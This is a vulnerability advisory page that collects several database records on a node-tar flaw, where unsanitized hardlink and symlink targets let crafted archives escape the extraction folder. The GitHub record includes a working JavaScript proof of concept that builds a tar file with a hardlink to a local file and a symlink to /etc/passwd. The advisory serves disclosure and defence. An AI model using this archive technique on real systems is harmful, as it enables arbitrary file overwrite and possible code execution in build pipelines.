node-tar Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization

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node-tar is a Tar for Node.js. The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets. This vulnerability is fixed in 7.5.3.

Source published

16 Jan 2026 22:00:08 UTC

Source modified

7 Sep 2026 12:04:48 UTC

Saved here

23 Oct 2026 15:48:27 UTC

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CVE Program Terms of Use

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CVSS 4.0 · 8.2 CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N

node-tar is a Tar for Node.js. The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets. This vulnerability is fixed in 7.5.3.

Source published

Jan 16, 2026, 10:00:08 PM (timezone not stated)

Source modified

Sep 7, 2026, 12:04:48 PM (timezone not stated)

Saved here

14 Nov 2026 04:02:36 UTC

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ENISA EUVD · source terms and attribution apply

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EUVD CVSS 4.0 · 8.2 CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N

node-tar is a Tar for Node.js. The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets. This vulnerability is fixed in 7.5.3.

Source published

16 Jan 2026 22:16:26 UTC

Source modified

7 Sep 2026 13:18:15 UTC

Saved here

25 Oct 2026 05:17:36 UTC

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NIST NVD usage terms; underlying source attribution retained

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CVSS 4.0 · [email protected] · Secondary · 8.2 CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 6.1 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 8.2 CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

### Summary The `node-tar` library (`<= 7.5.2`) fails to sanitize the `linkpath` of `Link` (hardlink) and `SymbolicLink` entries when `preservePaths` is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to **Arbitrary File Overwrite** via hardlinks and **Symlink Poisoning** via absolute symlink targets. ### Details The vulnerability exists in `src/unpack.ts` within the `[HARDLINK]` and `[SYMLINK]` methods. **1. Hardlink Escape (Arbitrary File Overwrite)** The extraction logic uses `path.resolve(this.cwd, entry.linkpath)` to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (`entry.linkpath`) is an **absolute path**, `path.resolve` ignores the first argument (`this.cwd`) entirely and returns the absolute path. The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., `/etc/passwd`) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place. **2. Symlink Poisoning** The extraction logic passes the user-supplied `entry.linkpath` directly to `fs.symlink` without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (`../../`), even when secure extraction defaults are used. ### PoC The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to `/etc/passwd`). It then extracts the archive using standard `node-tar` settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten. ```javascript const fs = require('fs') const path = require('path') const tar = require('tar') const out = path.resolve('out_repro') const secret = path.resolve('secret.txt') const tarFile = path.resolve('exploit.tar') const targetSym = '/etc/passwd' // Cleanup & Setup try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {} fs.mkdirSync(out) fs.writeFileSync(secret, 'ORIGINAL_DATA') // 1. Craft malicious Link header (Hardlink to absolute local file) const h1 = new tar.Header({ path: 'exploit_hard', type: 'Link', size: 0, linkpath: secret }) h1.encode() // 2. Craft malicious Symlink header (Symlink to /etc/passwd) const h2 = new tar.Header({ path: 'exploit_sym', type: 'SymbolicLink', size: 0, linkpath: targetSym }) h2.encode() // Write binary tar fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ])) console.log('[*] Extracting malicious tarball...') // 3. Extract with default secure settings tar.x({ cwd: out, file: tarFile, preservePaths: false }).then(() => { console.log('[*] Verifying payload...') // Test Hardlink Overwrite try { fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN') if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') { console.log('[+] VULN CONFIRMED: Hardlink overwrite successful') } else { console.log('[-] Hardlink failed') } } catch (e) {} // Test Symlink Poisoning try { if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) { console.log('[+] VULN CONFIRMED: Symlink points to absolute path') } else { console.log('[-] Symlink failed') } } catch (e) {} }) ``` ### Impact * **Arbitrary File Overwrite:** An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files. * **Remote Code Execution (RCE):** In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all `Link` and `SymbolicLink` tar entries from extracted packages.)

Source published

16 Jan 2026 21:16:20 UTC

Source modified

10 Sep 2026 03:50:59 UTC

Saved here

24 Oct 2026 13:17:17 UTC

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GitHub Advisory Database · CC-BY-4.0

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CVSS_V4 · CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N

Publisher rating · HIGH